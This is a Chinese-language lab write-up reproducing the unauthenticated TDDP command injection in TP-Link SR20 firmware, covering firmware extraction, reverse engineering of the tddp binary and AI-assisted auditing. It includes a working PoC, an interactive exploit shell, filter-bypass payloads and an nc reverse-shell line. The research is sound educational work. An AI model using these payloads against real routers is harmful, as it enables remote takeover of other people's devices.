复现报告
信息收集

信息收集:
TP-Link SR20 运行 TDDP 协议监听 UDP 1040 端口。TDDP v1 版本无需认证,任何人都可以发送数据包。在处理 CMD_FTEST_CONFIG \(Type == 0x31\) 请求时,tddp 程序将用户输入通过 system() 函数执行,导致命令注入。
我这里用docker-Ubuntu20.04+Win11宿主机加上qemu-arm-static \(用户态模拟\)的环境去复现,固件版本是SR20\(US\) V1.2.1 Build 20180518
固件下载: SR20(US)_V1_180518.zip
解包扫描
杂项都会吧?用binwalk
1
|
binwalk tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
|
输出关键信息:

得知固件结构是LZMA 压缩内核 + TRX 分区表 + SquashFS 文件系统 \(xz\)
1
2
3
4
5
6
|
# 从偏移 0x212FF9 处切出 SquashFS
tail -c +2174970 firmware.bin > squashfs.bin
#tail -c +2174970 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin > squashfs.bin
# 解压 SquashFS
unsquashfs -d squashfs-root squashfs.bin
|
提取文件系统:

tail切割命令的索引规则的需要,0x212FF9还需要十进制的1字节,也就是从第 2174970 字节开始输出(0x212FF9 + 1 = 2174969 + 1 = 2174970)
tail -c切割后:
1
2
|
root@Ubuntu20:~/Output/IOT# tail -c +2174970 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin >
squashfs.bin
|

提取:
1
2
3
4
5
|
# 新建目录用来存放解压后的系统
mkdir squashfs-root
cd squashfs-root
# 解压squashfs.bin到当前目录
unsquashfs -f ../squashfs.bin
|
提取出的文件系统结构:


IoT 路由器漏洞绝大多数出自 4 个目录,其余 dev、tmp、var、lib 基本跳过:
bin/、sbin/、usr/bin/、usr/sbin/(所有开机自启、监听端口的程序全在这)
逆向分析
AI简单代审(Claude Code + Skills)
文件这么多我当场给大家代审是很浪费时间的,通常来说一个二进制安全研究员对一个IOT设备的Bin附件进行分析需要好几天,用AI代审会更高效一些。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
PS C:\Users\Expl0rer\Desktop\Output\IOT> claude
╭─── Claude Code v2.1.116 ──────────────────────────────────────────────────────────────────────────────────────────╮
│ │ Tips for getting started │
│ Welcome back! │ Run /init to create a CLAUDE.md file with instructions for Claude │
│ │ ───────────────────────────────────────────────────────────────── │
│ ▐▛███▜▌ │ Recent activity │
│ ▝▜█████▛▘ │ No recent activity │
│ ▘▘ ▝▝ │ │
│ │ │
│ Opus 4.7 (1M context) · API Usage Billing │ │
│ ~\Desktop\Output\IOT │ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
❯ 用IOT-skills分析一个IOT附件找漏洞所在的大致文件给我,代码审计,SR20(US)_V1_180518.zip是附件压缩包,我已经解压出来了,
binwalk分离了,文件系统是squashfs-root。
● 好的,我先探索一下固件文件系统的结构,然后使用固件审计 skill 进行漏洞分析。
|

那我们此时重点可以看看tddp文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
squashfs\-root/
├── bin/ \# BusyBox 、 系统命令
├── dev/
├── etc/ \# 配置文件
├── lib/ \# uClibc 等共享库
├── usr/
│ ├── bin/tddp \# 漏洞点!!!!!!!!!
│ ├── lib/ \# liblua\.so 等
│ └── sbin/
├── sbin/
├── tmp/
├── www/ \# Web 管理界面
└── var/
|
1
2
3
4
5
6
7
|
file squashfs-root/usr/bin/tddp
# ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
# dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
readelf -h squashfs-root/usr/bin/tddp
# Machine: ARM
# Entry point address: 0x9108
|


由于找不到main函数,所以说只能先从程序执行的入门_start函数开始分析:

1
2
3
4
5
|
int start()
{
// _uClibc_main 第1个入参 = main函数指针(uClibc固定规范)
return ((int (__fastcall *)(int (*)()))_uClibc_main)(sub_971C);
}
|
main()/sub_971C()函数

为什么会没有main函数,学过re可能会清楚一点,这里因为编译执行了strip,导致函数名被剥离,ELF 只剩机器码。
这里直接给AI注释一下:可以发现,sub_16C90函数是对动态内存的初始化分配,而sub_16D40函数是对分配的动态内存进行回收,因此关键在于中间的sub_936C函数。
sub_936C()函数

这个是对socket套接字的初始化,socket 初始化 = 创建并配置好一个网络发送通道。
memset函数就是清空脏数据、初始化变量、防止乱码 / 错误。
其中值得关注的是sub_16D68函数。
sub_16D68()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
|
// fd_1:已经创建好的socket句柄;n1040:端口=1040
int bind_socket(int fd_1, uint16_t n1040)
{
struct sockaddr_in s;
memset(&s,0,sizeof(s));
s.sin_family = AF_INET; // AF_INET=2,IPv4协议
s.sin_addr.s_addr = htonl(0); // INADDR_ANY = 0.0.0.0 监听本机所有网卡IP
s.sin_port = htons(n1040); // 端口转网络字节序,UDP 1040(TDDP 协议端口)
if(bind(fd_1,(struct sockaddr*)&s,16)==-1){
return err_print(-10103,"failed to bind socket");
}
return 0;
}
|
这里的n1040是传进来的参数1040,htons函数是将整型变量从主机字节顺序转变成网络字节顺序,而bind函数是将一个本地地址与一个套接口进行绑定,这个函数的目的就是**将****socket套接字绑定到了1040**端口上。

再看回sub_936C函数,往下看到还有一个sub_9340函数。
sub_9340()函数(无用)

这个作用是获取当前时间,对我们逆向分析用处不大,跳过。
sub_16418()函数

这里我也不会,叫豆包分析一下,ida-MCP+claude也行:


在这里发现了一个关键的函数recvfrom(),该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen),用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间。所以是将数据读入(char *)a1 + 45083里
也就是说,我们向启动了**tddp的目标IP的1040端口通过socket套接字传输TDDP包(报头+数据),数据包的内容就被存放在a1 + 45083**中。

n2就是接收到的TDDP数据包,其中的判断if ( n2 == 1 )自然就是判断TDDP协议的版本号,漏洞点就在Version 1,也就是这个if分支中,并容易发现,sub_15E74函数就是对Type类型的判断:
sub_15E74()函数

函数确实挺多的,我这里靠AI代审发现sub_A580函数比较可疑,于是跳转到此重点分析。
❯ 你用ida-mcp看一下sub_15E74函数,哪个case可疑?

找到漏洞点所在的case 0x31处:

sub_A580()函数
协议判别

从这里能近似看出应该是某种协议...

代码检查数据包第一个字节(*v13):
1、如果等于 1 → 走一套逻辑(版本1:+12 字节)
2、否则 → 走另一套逻辑(版本2:+28 字节)
纯看代码就能得出:两个版本,头部不一样长。
逆向经验:网络协议里,首字节 == 版本号 是全球通用标准写法。
sub_A580()函数伪代码还原
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
void tddp_handle_ftest_config(char *data, int len) {
char s[128]; // 用户输入的第一部分
char s_[128]; // 用户输入的第二部分 (TFTP 地址)
char cmd[256]; // 拼接后的命令
// sscanf 按 ; 分隔数据
// "%[^;];%s" — 第一部分读到 ; 为止,第二部分读剩余
sscanf(data, "%[^;];%s", s, s_);
// 过滤 ; 字符(但不过滤 $, |, &, `)
// ... filter_code ...
// ★ 漏洞点:直接拼接到 system() 命令
snprintf(cmd, 256, "cd /tmp;tftp -gr %s %s &", s, s_);
system(cmd); // ← 任意命令执行,刚好对应下文的sub_91DC函数
// 后续:加载 TFTP 下载的 Lua 脚本
snprintf(lua_path, 128, "/tmp/%s", s);
if (access(lua_path, F_OK) == 0) {
luaL_loadfile(L, lua_path);
lua_getfield(L, -1, "config_test");
lua_pcall(L, 0, 0, 0);
}
}
|
上图中,当TDDP协议是Version 1的时候(*v13==1时,*v13 == 1 就是 TDDP Version1(V1 协议)判定),s_1会从TDDP包的首地址往后移12个字节,也就是从“报头”移动到“数据”的首地址(见上面的TDDP协议结构图):
TDDP协议
TDDP协议的相关文章:[翻译]TP-link 设备调试协议(TDDP)研究-外文翻译-看雪安全社区|专业技术交流与安全研究论坛
TDDP的包的格式如下:

TDDP报头如下:

v14 = 要返回给客户端的【响应包缓冲区】
s_1 = 从客户端收到的【请求包数据】
所以:
-
s_1 +=12 → 跳过请求头,取请求数据
-
v14 +=12 → 跳过响应头,写响应数据
接着就到了一个sscanf函数:

这个sscanf函数将传进来的TDDP包数据区按照分离符;分为s和s_两个字符串,其中利用“正则表达式”过滤了s中的;,之后,字符串s拼接到了cd /tmp;tftp -gr的后面,这显然是一个shell命令,而s拼接上去很可能就导致了任意命令的执行。
sub_91DC()函数

这里进一步确认是直接到shell了。
现在先暂停往下看,回退至sub_A580()函数的伪代码还原那一块,就明白system\(cmd\); // ← 任意命令执行,刚好对应这里的sub_91DC()函数了,此时我们就得知路由器的大致数据流追踪:
UDP 数据包
→ recvfrom() 函数接收
→ 检查 Version == 1
→ 检查 Type == 0x31
→ sscanf\(data, "%\[^;\];%s", s, v9\)
→ snprintf\(cmd, "cd /tmp;tftp \-gr %s %s \&", s, v9\)
→ system\(cmd\) ← 命令注入!
接着继续:直接到shell了,再回到sub_A580函数下方。

命令tftp -gr %s %s &,命令是利用FTP协议,从...路径下载文件,在这里是保存到/tmp目录下(下图)。


这里先是将利用FTP协议下载的文件所保存的路径放在了name字符串中,然后通过luaL_loadfile函数对Lua脚本进行加载运行。
基于该原理,接下来对可用特殊字符逐一测试,梳理字符过滤规则与可用绕过 payload。
绕过过滤分析
sscanf分隔逻辑

sscanf\(s\_1, "%\[^;\];%s", s, s\_\);
数据区格式: <s>;<s_>
↑
分号分隔
示例输入: test;192.168.1.1
结果: s = "test", s_ = "192.168.1.1"
命令: cd /tmp;tftp -gr test 192.168.1.1 &
过滤与绕过
无非就是 ; \| $ `` &
经验证就是:
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from socket import *
import os, time
HEADER = b"\x01\x31".ljust(12, b"\x00") #在之前逆向分析就得知必须补够12字节才能进行下一步,version1认证 + case0x31
OUTFILE = "/root/sq/tmp/sh_out"
PIDFILE = "/tmp/tddp.pid"
methods = [
("$(id)", b"$(id>/tmp/sh_out);winmt"),
("x|id", b"x|id>/tmp/sh_out;winmt"),
("x&id", b"x&id>/tmp/sh_out;winmt"),
("`id`", b"`id>/tmp/sh_out`;winmt"),
]
for name, data in methods:
# 重启 tddp
try:
old = open(PIDFILE).read().strip()
os.system(f"kill {old} 2>/dev/null")
except: pass
time.sleep(0.5)
os.system(f"nohup chroot /root/sq /usr/bin/qemu-arm-static /usr/bin/tddp >/dev/null 2>&1 & echo $! > {PIDFILE}")
time.sleep(2)
# 发包
s = socket(AF_INET, SOCK_DGRAM, 0)
s.settimeout(3)
s.sendto(HEADER + data, ("127.0.0.1", 1040))
s.close()
time.sleep(0.5)
# 读结果
try:
out = open(OUTFILE).read().strip()
print(f"{name:10s} → {out}")
except:
print(f"{name:10s} → FAIL")
|

QEMU环境测试
所以说最稳定的利用方式是$() 命令替换。比如$\(nc 127\.0\.0\.1 8888 \-e /bin/sh\)就能拿shell
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
from socket import *
import os, sys, time
HEADER = b"\x01\x31".ljust(12, b"\x00")
OUTFILE = "/root/sq/tmp/sh_out" #命令执行结果保存的文件,很像pwntools的debug
PIDFILE = "/tmp/tddp.pid" #保存 tddp 进程号,方便重启
def start_tddp():
try:
old = open(PIDFILE).read().strip()
os.system(f"kill {old} 2>/dev/null")
except: pass
time.sleep(0.5)
os.system(f"nohup chroot /root/sq /usr/bin/qemu-arm-static /usr/bin/tddp >/dev/null 2>&1 & echo $! > {PIDFILE}")
time.sleep(1.5)
#杀死旧的 tddp 进程,用 QEMU 重启 ARM 版 tddp,保证每次发包都是干净环境
#原因: system() 会阻塞等待子进程退出。tftp -gr 在无 TFTP 服务器时会挂起直到超时(约 60 秒),这期间 tddp 的主循环不会处理新请求。
def exec_cmd(cmd):
start_tddp()
payload = HEADER + f"$({cmd} 2>&1 > /tmp/sh_out);winmt".encode() #> /tmp/sh_out → 结果写入文件
s = socket(AF_INET, SOCK_DGRAM, 0)
s.settimeout(3)
s.sendto(payload, ("127.0.0.1", 1040))
s.close()
time.sleep(0.5)
try: return open(OUTFILE).read()
except: return ""
while True:
try: cmd = input("$ ").strip()
except: break
if cmd in ("exit","quit"): break
if cmd: print(exec_cmd(cmd).rstrip())
#循环等待你输入命令,输入 exit 退出,执行命令并打印结果
|
RCE了:

为什么加Kill命令进程杀死并重置?因为 system() 会阻塞等待子进程退出;tftp -gr 在无 TFTP 服务器时会挂起直到超时(约 60 秒),这期间 tddp 的主循环不会处理新请求。
只要攻击者和 SR20 在同一局域网内,直接向 SR20 的 IP 发送 UDP 包到 1040 端口即可。无需任何前置认证。
未完成事项及原因(后续如何完成)
POC不太会写,exp还行,但是要借助AI,socket模块不太会用之前都是用pwntools的
本周学习知识的分享
参考文章:
https://www.iotsec-zone.com/article/384
https://expl0rer.top/
总的来说:AI还是很强的,ida-mcp+CLaude Code Opus 4.7/Skills,这俩大件叠加起来,逆向分析非常强,同时具备PWN的漏洞利用能力。
这次也只不过是一个简单复现,入门IOT第一步!
我对IOT的认识
IoT,即Internet of Things(物联网),是将各种物理设备、传感器和物品通过互联网连接,实现数据收集、交换和智能化管理的网络。
IOT方向其实就是实战了,已经不再局限于CTF的PWN/RE/MOBILE/WEB/CRYPTO/MISC这五大方向了,更像是全栈,用的最多就是CTF-RE方向的逆向分析能力,以及PWN的漏洞利用能力,甚至有些固件分析还需要启动WEB服务去调试和提取固件文件包,所用到的WEB渗透技术必不可少,对于这一个路由器漏洞,算是人尽皆知了,是比较经典的案例,里边也有用到协议逆向分析的能力,当然我现在还不足于秒杀还需借助AI代审。
IOT对我们CTFer的冲击
物联网设备涉足我们生活的方方面面,很多设备的私有协议、程序架构有所不同,IOT需要的学习能力极强,对一个IOT设备进行漏洞检测时需要深入了解这个设备。
总之,比较有挑战性。